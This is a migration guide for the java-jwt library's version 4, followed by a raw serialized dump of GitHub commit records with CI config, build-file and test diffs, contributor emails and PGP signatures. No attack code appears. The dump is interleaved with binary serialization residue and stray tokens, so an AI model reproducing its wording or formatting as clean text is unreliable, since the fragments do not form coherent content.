+This guide captures the changes you should be aware of when planning and upgrading to version 4.
+
+### Compile or runtime breaking changes
+
+**Classes or methods removed:**
+- The `impl` package has been removed as an export in `module-info.java`. This package contains implementation-specific code that may change at any point.
+- Support for the ES256K algorithm has been removed, as it is disabled in Java 15+. The `Algorithm#ECDSA256K(ECDSAKeyProvider keyProvider)` and `Algorithm#ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey)` methods have been removed.
+- `com.auth0.jwt.interfaces.Clock` has been removed. Instead, an implementation of `java.time.Clock` can be passed to the `BaseVerification` for testing purposes.
+- `com.auth0.jwt.impl.NullClaim` has been removed. `Claim#isNull` can be used to determine if a claim's value is `null`.
+- `com.auth0.jwt.impl.PublicClaims` was removed, and replaced by `com.auth0.jwt.StandardClaims` and `com.auth0.jwt.HeaderParams`.
+
+### Behavioral potentially breaking changes
+
+#### JWT creation
+
+- All date/time claim values are now serialized as **seconds since the epoch**, in both the payload and header. In version 3, date/time claims nested in a list or map, as well as any header parameters with date/time values, were serialized as milliseconds since the epoch. 
+- When creating a JWT, passing `null` as the value no longer removes the claim if it was previously added to the builder. It now adds the claim with a `null` value.
+
+#### JWT validation
+
+- In version 3, specifying multiple claim expectations for the same claim name would override any previous expectations for that claim. In version 4, all expectations for that claim will be validated.
+- In version 3, passing `null` for the value of a claim expectation would remove that expectation from the validation. In version 4, passing `null` does not remove that expectation, but instead validates that the claim has the literal value `null`.
+- When validating a JWT, if an expected claim is present in the JWT but contains a value different from the one expected, an `IncorrectClaimException` (subclass of `InvalidClaimException`) will now be thrown instead of an `InvalidClaimException`.
+- When validating a JWT, if an expected claim is not present in the JWT, an `MissingClaimException` (subclass of `InvalidClaimException`) will now be thrown instead of an `InvalidClaimException`.
+- `withClaimPresence(String claimName)` now validates that the claim is present in the JWT, and a claim with a `null` value is considered present. Previously, a claim with a value of `null` would be considered as missing and fail the validation.
+- When validating a date/time claim value, the validation no longer checks for strict equality of the claim's value and the provided `Date` (or `Instant`). Instead, the expected `Date` or `Instant` will be compared to the claim's value only considering seconds (because JWT date/time claims are represented as seconds since the epoch).
+
+#### Claim changes
+
+- `com.auth0.jwt.interfaces.Claim#isNull()` now returns true only if the claim is present and its value is `null`. Previously, it returned true if the claim was present and its value was `null`, or if the claim was not present in the JWT. To check if the claim is present or not in the JWT, use `isMissing()`.
+
+### New classes or methods
+
+#### `IncorrectClaimException` added
+
+This class extends `InvalidClaimException` and represents that when validating a JWT, an expected claim exists in the JWT but does not match the expected value.
+
+#### `MissingClaimException` added
+
+This class extends `InvalidClaimException` and represents that when validating a JWT, an expected claim is missing from the JWT.
+
+### `HeaderParams` added
+
+This class contains constants representing common header parameter names.
+
+### `StandardClaims` added
+
+This class contains constants representing the standard claim names.
+
+#### `JWTCreator` new methods
+
+- `JWTCreator.Builder#withExpiresAt(Instant expiresAt)` - adds the `exp` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withNotBefore(Instant notBefore)` - adds the `nbf` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withIssuedAt(Instant issuedAt)` - adds the `iat` claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withClaim(String claimName, Instant value)` - adds a claim to the JWT from a `java.time.Instant`.
+- `JWTCreator.Builder#withNullClaim(String claimName)` - adds a claim to the JWT with the literal value `null`.
+
+#### `DecodedJWT` new methods
+
+- `Instant getExpiresAtAsInstant()` - Returns a JWT's `exp` claim as a `java.time.Instant`.
+- `Instant getNotBeforeAsInstant()` - Returns a JWT's `nbf` claim as a `java.time.Instant`.
+- `Instant getIssuedAtAsInstant()` - Returns a JWT's `iat` claim as a `java.time.Instant`.
+
+#### `Claim` new methods
+
+- `Instant asInstant()` - Gets a claim as a `java.time.Instant`.
+- `boolean isMissing()` - Returns whether the claim is present or not.
+
+#### `Verification` new methods
+
+- `Verification withClaim(String name, Instant value)` - Adds an expectation that a claim with the provided name has a value equal to the provided `java.time.Instant`.
+- `Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate)` - Allows for a claim to be validated with the supplied predicate. 
+- `Verification withNullClaim(String name)` - Adds an expectation that a claim with the provided name has a value equal to the literal `null`.uau(f30a47b917478010aa91a2093f9db786ef9a7e32}(sha(f30a47b917478010aa91a2093f9db786ef9a7e32node_idEC_kwDOAQtL0doAKGYzMGE0N2I5MTc0NzgwMTBhYTkxYTIwOTNmOWRiNzg2ZWY5YTdlMzIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-07-11T13:44:38Zu	committer}(j^k  
Poovamraj T Tj`k  poovamraj@gmail.comjbk  2022-07-11T13:44:38ZumessageUpdate config.ymltree}(jVk  (652f0b0639727135255c94be8926958206750ddeurl^https://api.github.com/repos/auth0/java-jwt/git/trees/652f0b0639727135255c94be8926958206750ddeujnk  `https://api.github.com/repos/auth0/java-jwt/git/commits/f30a47b917478010aa91a2093f9db786ef9a7e32
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujnk  \https://api.github.com/repos/auth0/java-jwt/commits/f30a47b917478010aa91a2093f9db786ef9a7e32html_urlQhttps://github.com/auth0/java-jwt/commit/f30a47b917478010aa91a2093f9db786ef9a7e32comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f30a47b917478010aa91a2093f9db786ef9a7e32/commentsj\k  }(login	poovamrajidJ jXk  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jnk  &https://api.github.com/users/poovamrajjzk  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_events      typeUser
site_adminujdk  }(jk  	poovamrajjk  J jXk  MDQ6VXNlcjE1OTEwNDI1jk  4https://avatars.githubusercontent.com/u/15910425?v=4jk  h3jnk  &https://api.github.com/users/poovamrajjzk  https://github.com/poovamrajjk  0https://api.github.com/users/poovamraj/followersjk  =https://api.github.com/users/poovamraj/following{/other_user}jk  6https://api.github.com/users/poovamraj/gists{/gist_id}jk  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jk  4https://api.github.com/users/poovamraj/subscriptionsjk  +https://api.github.com/users/poovamraj/orgsjk  ,https://api.github.com/users/poovamraj/reposjk  7https://api.github.com/users/poovamraj/events{/privacy}jk  6https://api.github.com/users/poovamraj/received_eventsjk  Userjk  uparents]}(jVk  (8dc5fbb6cde11084c9c74096d39f869910733bb8jnk  \https://api.github.com/repos/auth0/java-jwt/commits/8dc5fbb6cde11084c9c74096d39f869910733bb8jzk  Qhttps://github.com/auth0/java-jwt/commit/8dc5fbb6cde11084c9c74096d39f869910733bb8uastats}(totalK	additionsK
	deletionsK
ufiles]}(jVk  (1675c39fbd79cf6eba87148e42511922dfdefdd4filename.circleci/config.ymlstatusmodifiedjk  K
jk  K
changesKblob_urlfhttps://github.com/auth0/java-jwt/blob/f30a47b917478010aa91a2093f9db786ef9a7e32/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/f30a47b917478010aa91a2093f9db786ef9a7e32/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=f30a47b917478010aa91a2093f9db786ef9a7e32patchX   @@ -41,16 +41,16 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-    api-diff:
-      docker:
-        - image: openjdk:11.0-jdk
-      steps:
-        - checkout-and-build
-        - run-api-diff
-      environment:
-        GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-        _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-        TERM: dumb
+  api-diff:
+    docker:
+      - image: openjdk:11.0-jdk
+    steps:
+      - checkout-and-build
+      - run-api-diff
+    environment:
+      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+      TERM: dumb
 
 workflows:
   build-and-test:uau(3f5df48e012cae624a0d77ed0cda61aad6b5d9e6}(sha(3f5df48e012cae624a0d77ed0cda61aad6b5d9e6node_idEC_kwDOAQtL0doAKDNmNWRmNDhlMDEyY2FlNjI0YTBkNzdlZDBjZGE2MWFhZDZiNWQ5ZTYcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2023-01-10T23:00:00Zu	committer}(jk  GitHubjk  noreply@github.comjk  2023-01-10T23:00:00ZumessageETemporarily disable auto release (#648)

Disable automated publishingtree}(jk  (ba6899bb44772921fe171466e044f3eba8162bb1url^https://api.github.com/repos/auth0/java-jwt/git/trees/ba6899bb44772921fe171466e044f3eba8162bb1ujk  `https://api.github.com/repos/auth0/java-jwt/git/commits/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjve3wCRBK7hj4Ov3rIwAAitwIAE/AiELSqA4bEETQ/bMp9B+W
OEYPqcSz2TDC6CqoNpuVu5QW6h4/AOOj+6nJn2p/qpW4mwYP41lhAEEB/dZzJnEc
my+PGvnyoHR0IqrFQUXUC0aWMwrQlQyFkxUCKRfpNxSZAxgOhuk65qF12R68D08A
0mJvxcJ7dxJwE0izJBB2h0+RJFHzMyihCP5n1muZs88w/cKq81HCpmuCro0zyv/o
6pG1OEwavg5jkWBaN0Wzx2PL5/BOv4ixhigr8T9Yub3pnmTzf5ts5cr0Sw4bRn+0
oNiQ32eEXYGuwlwEGpGcYdi5ROtqijKFeGNTPkDly7N900KwPymymvcJyKO+s0w=
=y/KZ
-----END PGP SIGNATURE-----
payloadX  tree ba6899bb44772921fe171466e044f3eba8162bb1
parent ce1524341718eb32d4d0398e28c22ecc53f5ffa4
author Jim Anderson <jim.anderson@auth0.com> 1673391600 -0600
committer GitHub <noreply@github.com> 1673391600 -0600

Temporarily disable auto release (#648)

Disable automated publishinguujk  \https://api.github.com/repos/auth0/java-jwt/commits/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6html_urlQhttps://github.com/auth0/java-jwt/commit/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6/commentsjk  }(login
jimmyjamesidJ7 jk  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jk  'https://api.github.com/users/jimmyjamesjk  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujk  }(jk  web-flowjk  J/jk  MDQ6VXNlcjE5ODY0NDQ3jk  4https://avatars.githubusercontent.com/u/19864447?v=4jk  h3jk  %https://api.github.com/users/web-flowjk  https://github.com/web-flowjk  /https://api.github.com/users/web-flow/followersjl  <https://api.github.com/users/web-flow/following{/other_user}jl  5https://api.github.com/users/web-flow/gists{/gist_id}jl  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jl  3https://api.github.com/users/web-flow/subscriptionsj	l  *https://api.github.com/users/web-flow/orgsjl  +https://api.github.com/users/web-flow/reposj
l  6https://api.github.com/users/web-flow/events{/privacy}jl  5https://api.github.com/users/web-flow/received_eventsjl  Userjl  uparents]}(jk  (ce1524341718eb32d4d0398e28c22ecc53f5ffa4jk  \https://api.github.com/repos/auth0/java-jwt/commits/ce1524341718eb32d4d0398e28c22ecc53f5ffa4jk  Qhttps://github.com/auth0/java-jwt/commit/ce1524341718eb32d4d0398e28c22ecc53f5ffa4uastats}(totalK	additionsK 	deletionsKufiles](}(jk  (af3225f8bfd5f7c68437ff2eecd2ebc7b3790606filename.circleci/config.ymlstatusmodifiedj-l  K j.l  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=3f5df48e012cae624a0d77ed0cda61aad6b5d9e6patchX  @@ -1,6 +1,5 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:
@@ -58,17 +57,6 @@ workflows:
   build-and-test:
     jobs:
       - build
-      - ship/java-publish:
-          prefix-tag: false
-          context:
-            - publish-gh
-            - publish-sonatype
-          filters:
-            branches:
-              only:
-                - v3
-          requires:
-            - build
   api-diff:
     jobs:
       - api-diffu}(jk  (39bd67ec7af3bf5695793ff60c9a2ede07872310j3l  lib/build.gradlej5l  modifiedj-l  K j.l  Kj7l  Kj8l  bhttps://github.com/auth0/java-jwt/blob/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6/lib%2Fbuild.gradlej:l  ahttps://github.com/auth0/java-jwt/raw/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6/lib%2Fbuild.gradlej<l  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=3f5df48e012cae624a0d77ed0cda61aad6b5d9e6j>l  Xr  @@ -1,21 +1,10 @@
 
-buildscript {
-    version = "3.19.3"
-}
-
 plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
 }
 
-def signingKey = findProperty('signingKey')
-def signingKeyPwd = findProperty('signingPassword')
-
-signing {
-    useInMemoryPgpKeys(signingKey, signingKeyPwd)
-}
-
 logger.lifecycle("Using version ${version} for ${group}.${name}")
 
 oss {
@@ -24,7 +13,6 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "3.18.2"
-    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7}(sha(a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7node_idEC_kwDOAQtL0doAKGEyZWNiNzU5YjJiMDIwMGY1YTYxZmU5MjI3YjVhMmRkZjgwNGVlZTccommit}(author}(nameFrederik Prijckemailfrederik.prijck@auth0.comdate2022-10-11T13:16:41Zu	committer}(jRl  GitHubjTl  noreply@github.comjVl  2022-10-11T13:16:41ZumessageUpdate config.ymltree}(jJl  (e6f8a9e0a1f5461ede4278bc9212d5f0e45e8b7eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/e6f8a9e0a1f5461ede4278bc9212d5f0e45e8b7eujbl  `https://api.github.com/repos/auth0/java-jwt/git/commits/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRWy5CRBK7hj4Ov3rIwAAMRYIACCacd6do/UUC7Bpbo00vf4Q
ChKiPuoerMYZ2/1zLAmpt19LgbXCY21qQfOmHWCTY98L/f6QlxIdH9luXHllLNJJ
ri+oFI3gjzH0SDVcSG3eLM91SGYGb07bh38hK154gj20oPfJh+eO7T9KgiqdawYT
PBsKgAa+337+9XSRMvjledas0lWsduJZILsPtTButQi7oBXNY0n2ILIYD+SERqfN
BzY/Opm9nfeA3C5oAdRSOwk59KB0VB2oVM07NsUR1ak4Mb5VYL8A2A6fdcn27Sqg
oHMRgdU8dvJCuiQpk3cyM5jsaC2Uf59UbE6vflm7ulKIw+Te405RwJKpdc/gP90=
=NWZL
-----END PGP SIGNATURE-----
payloadtree e6f8a9e0a1f5461ede4278bc9212d5f0e45e8b7e
parent 4fbe13f8da785c4826cf5b8fd4c3fec708cdda89
author Frederik Prijck <frederik.prijck@auth0.com> 1665494201 +0200
committer GitHub <noreply@github.com> 1665494201 +0200

Update config.ymluujbl  \https://api.github.com/repos/auth0/java-jwt/commits/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7html_urlQhttps://github.com/auth0/java-jwt/commit/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7/commentsjPl  }(loginfrederikprijckidJW  jLl  MDQ6VXNlcjIxNDY5MDM=
avatar_url3https://avatars.githubusercontent.com/u/2146903?v=4gravatar_idh3jbl  +https://api.github.com/users/frederikprijckjpl  !https://github.com/frederikprijck
followers_url5https://api.github.com/users/frederikprijck/followers
following_urlBhttps://api.github.com/users/frederikprijck/following{/other_user}	gists_url;https://api.github.com/users/frederikprijck/gists{/gist_id}starred_urlBhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/frederikprijck/subscriptionsorganizations_url0https://api.github.com/users/frederikprijck/orgs	repos_url1https://api.github.com/users/frederikprijck/repos
events_url<https://api.github.com/users/frederikprijck/events{/privacy}received_events_url;https://api.github.com/users/frederikprijck/received_eventstypeUser
site_adminujXl  }(jul  web-flowjwl  J/jLl  MDQ6VXNlcjE5ODY0NDQ3jyl  4https://avatars.githubusercontent.com/u/19864447?v=4j{l  h3jbl  %https://api.github.com/users/web-flowjpl  https://github.com/web-flowj~l  /https://api.github.com/users/web-flow/followersjl  <https://api.github.com/users/web-flow/following{/other_user}jl  5https://api.github.com/users/web-flow/gists{/gist_id}jl  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jl  3https://api.github.com/users/web-flow/subscriptionsjl  *https://api.github.com/users/web-flow/orgsjl  +https://api.github.com/users/web-flow/reposjl  6https://api.github.com/users/web-flow/events{/privacy}jl  5https://api.github.com/users/web-flow/received_eventsjl  Userjl  uparents]}(jJl  (4fbe13f8da785c4826cf5b8fd4c3fec708cdda89jbl  \https://api.github.com/repos/auth0/java-jwt/commits/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89jpl  Qhttps://github.com/auth0/java-jwt/commit/4fbe13f8da785c4826cf5b8fd4c3fec708cdda89uastats}(totalK	additionsK	deletionsKufiles]}(jJl  (e6b1dcd96cde8f47aa4f2449e9b71e4d7b9360cafilename.circleci/config.ymlstatusmodifiedjl  Kjl  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=a2ecb759b2b0200f5a61fe9227b5a2ddf804eee7patch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@dev:d4bf2df
+  ship: auth0/ship@0.7.2
   codecov: codecov/codecov@3
 
 commands:uau(2050c030bd49991e399e227e528d9eae6ac00316}(sha(2050c030bd49991e399e227e528d9eae6ac00316node_idEC_kwDOAQtL0doAKDIwNTBjMDMwYmQ0OTk5MWUzOTllMjI3ZTUyOGQ5ZWFlNmFjMDAzMTYcommit}(author}(nameRobin Karlssonemailsnago86@gmail.comdate2023-03-25T09:51:40Zu	committer}(jl  Robin Karlssonjl  snago86@gmail.comjl  2023-03-25T09:51:40Zumessage#Preserve insertion order for claimstree}(jl  (2ce5afe74b15c9fe9bb367d38391f4964ae960c4url^https://api.github.com/repos/auth0/java-jwt/git/trees/2ce5afe74b15c9fe9bb367d38391f4964ae960c4ujl  `https://api.github.com/repos/auth0/java-jwt/git/commits/2050c030bd49991e399e227e528d9eae6ac00316
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujl  \https://api.github.com/repos/auth0/java-jwt/commits/2050c030bd49991e399e227e528d9eae6ac00316html_urlQhttps://github.com/auth0/java-jwt/commit/2050c030bd49991e399e227e528d9eae6ac00316comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/2050c030bd49991e399e227e528d9eae6ac00316/commentsjl  }(loginsnagoidJρ jl  MDQ6VXNlcjU1NzUxOQ==
avatar_url2https://avatars.githubusercontent.com/u/557519?v=4gravatar_idh3jl  "https://api.github.com/users/snagojl  https://github.com/snago
followers_url,https://api.github.com/users/snago/followers
following_url9https://api.github.com/users/snago/following{/other_user}	gists_url2https://api.github.com/users/snago/gists{/gist_id}starred_url9https://api.github.com/users/snago/starred{/owner}{/repo}subscriptions_url0https://api.github.com/users/snago/subscriptionsorganizations_url'https://api.github.com/users/snago/orgs	repos_url(https://api.github.com/users/snago/repos
events_url3https://api.github.com/users/snago/events{/privacy}received_events_url2https://api.github.com/users/snago/received_eventstypeUser
site_adminujl  }(jl  snagojl  Jρ jl  MDQ6VXNlcjU1NzUxOQ==jl  2https://avatars.githubusercontent.com/u/557519?v=4jl  h3jl  "https://api.github.com/users/snagojl  https://github.com/snagojl  ,https://api.github.com/users/snago/followersjl  9https://api.github.com/users/snago/following{/other_user}jl  2https://api.github.com/users/snago/gists{/gist_id}jl  9https://api.github.com/users/snago/starred{/owner}{/repo}jl  0https://api.github.com/users/snago/subscriptionsjl  'https://api.github.com/users/snago/orgsjl  (https://api.github.com/users/snago/reposjm  3https://api.github.com/users/snago/events{/privacy}jm  2https://api.github.com/users/snago/received_eventsjm  Userjm  uparents]}(jl  (b610b6635ba1ed948a06fea777eeeecca2364303jl  \https://api.github.com/repos/auth0/java-jwt/commits/b610b6635ba1ed948a06fea777eeeecca2364303jl  Qhttps://github.com/auth0/java-jwt/commit/b610b6635ba1ed948a06fea777eeeecca2364303uastats}(totalK/	additionsK-	deletionsKufiles](}(jl  (ed46f78fab21954b5834d113f542110503242308filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj!m  Kj"m  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/2050c030bd49991e399e227e528d9eae6ac00316/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/2050c030bd49991e399e227e528d9eae6ac00316/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=2050c030bd49991e399e227e528d9eae6ac00316patchXo  @@ -71,8 +71,8 @@ public static class Builder {
         private final Map<String, Object> headerClaims;
 
         Builder() {
-            this.payloadClaims = new HashMap<>();
-            this.headerClaims = new HashMap<>();
+            this.payloadClaims = new LinkedHashMap<>();
+            this.headerClaims = new LinkedHashMap<>();
         }
 
         /**u}(jl  (8b28724e248389f54acb81ba66c5d99a4e810f11j'm  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj)m  modifiedj!m  K+j"m  K j+m  K+j,m  https://github.com/auth0/java-jwt/blob/2050c030bd49991e399e227e528d9eae6ac00316/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj.m  https://github.com/auth0/java-jwt/raw/2050c030bd49991e399e227e528d9eae6ac00316/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj0m  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=2050c030bd49991e399e227e528d9eae6ac00316j2m  X	  @@ -4,6 +4,7 @@
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ObjectNode;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
@@ -938,4 +939,46 @@ public void shouldCreatePayloadWithNullForList() {
         assertThat(jwt, is(notNullValue()));
         assertTrue(JWT.decode(jwt).getClaim("name").isNull());
     }
+
+    @Test
+    public void shouldPreserveInsertionOrder() throws Exception {
+        List<String> headerInsertionOrder = new ArrayList<>();
+        Map<String, Object> header = new LinkedHashMap<>();
+        for (int i = 0; i < 10; i++) {
+            String key = "h" + i;
+            header.put(key, "v" + 1);
+            headerInsertionOrder.add(key);
+        }
+
+        List<String> payloadInsertionOrder = new ArrayList<>();
+        JWTCreator.Builder builder = JWTCreator.init().withHeader(header);
+        for (int i = 0; i < 10; i++) {
+            String name = "c" + i;
+            builder = builder.withClaim(name, "v" + i);
+            payloadInsertionOrder.add(name);
+        }
+        String signed = builder.sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        String[] parts = signed.split("\\.");
+        Base64.Decoder urlDecoder = Base64.getUrlDecoder();
+        String headerJson = new String(urlDecoder.decode(parts[0]), StandardCharsets.UTF_8);
+        String payloadJson = new String(urlDecoder.decode(parts[1]), StandardCharsets.UTF_8);
+
+        ObjectMapper objectMapper = new ObjectMapper();
+
+        List<String> headerFields = new ArrayList<>();
+        objectMapper.readValue(headerJson, ObjectNode.class)
+                .fieldNames().forEachRemaining(headerFields::add);
+        headerFields.retainAll(headerInsertionOrder);
+        assertThat("Header insertion order should be preserved",
+                headerFields, is(equalTo(headerInsertionOrder)));
+
+        List<String> payloadFields = new ArrayList<>();
+        objectMapper.readValue(payloadJson, ObjectNode.class)
+                .fieldNames().forEachRemaining(payloadFields::add);
+        payloadFields.retainAll(payloadInsertionOrder);
+        assertThat("Claim insertion order should be preserved",
+                payloadFields, is(equalTo(payloadInsertionOrder)));
+    }
 }ueu(e432aece2d33fca5b27b7fb39807b621e927aae4}(sha(e432aece2d33fca5b27b7fb39807b621e927aae4node_idEC_kwDOAQtL0doAKGU0MzJhZWNlMmQzM2ZjYTViMjdiN2ZiMzk4MDdiNjIxZTkyN2FhZTQcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-22T15:34:32Zu	committer}(jFm  
Poovamraj T TjHm  poovamraj@gmail.comjJm  2022-03-22T15:34:32ZumessageUse predicates for verificationtree}(j>m  (154b36e0b647e4f04470e0244141c208cc658190url^https://api.github.com/repos/auth0/java-jwt/git/trees/154b36e0b647e4f04470e0244141c208cc658190ujVm  `https://api.github.com/repos/auth0/java-jwt/git/commits/e432aece2d33fca5b27b7fb39807b621e927aae4
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujVm  \https://api.github.com/repos/auth0/java-jwt/commits/e432aece2d33fca5b27b7fb39807b621e927aae4html_urlQhttps://github.com/auth0/java-jwt/commit/e432aece2d33fca5b27b7fb39807b621e927aae4comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e432aece2d33fca5b27b7fb39807b621e927aae4/commentsjDm  }(login	poovamrajidJ j@m  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jVm  &https://api.github.com/users/poovamrajjbm  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujLm  }(jgm  	poovamrajjim  J j@m  MDQ6VXNlcjE1OTEwNDI1jkm  4https://avatars.githubusercontent.com/u/15910425?v=4jmm  h3jVm  &https://api.github.com/users/poovamrajjbm  https://github.com/poovamrajjpm  0https://api.github.com/users/poovamraj/followersjrm  =https://api.github.com/users/poovamraj/following{/other_user}jtm  6https://api.github.com/users/poovamraj/gists{/gist_id}jvm  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jxm  4https://api.github.com/users/poovamraj/subscriptionsjzm  +https://api.github.com/users/poovamraj/orgsj|m  ,https://api.github.com/users/poovamraj/reposj~m  7https://api.github.com/users/poovamraj/events{/privacy}jm  6https://api.github.com/users/poovamraj/received_eventsjm  Userjm  uparents]}(j>m  (423a142d09bd837041e7d4aea4a9da60b5d70221jVm  \https://api.github.com/repos/auth0/java-jwt/commits/423a142d09bd837041e7d4aea4a9da60b5d70221jbm  Qhttps://github.com/auth0/java-jwt/commit/423a142d09bd837041e7d4aea4a9da60b5d70221uastats}(totalM
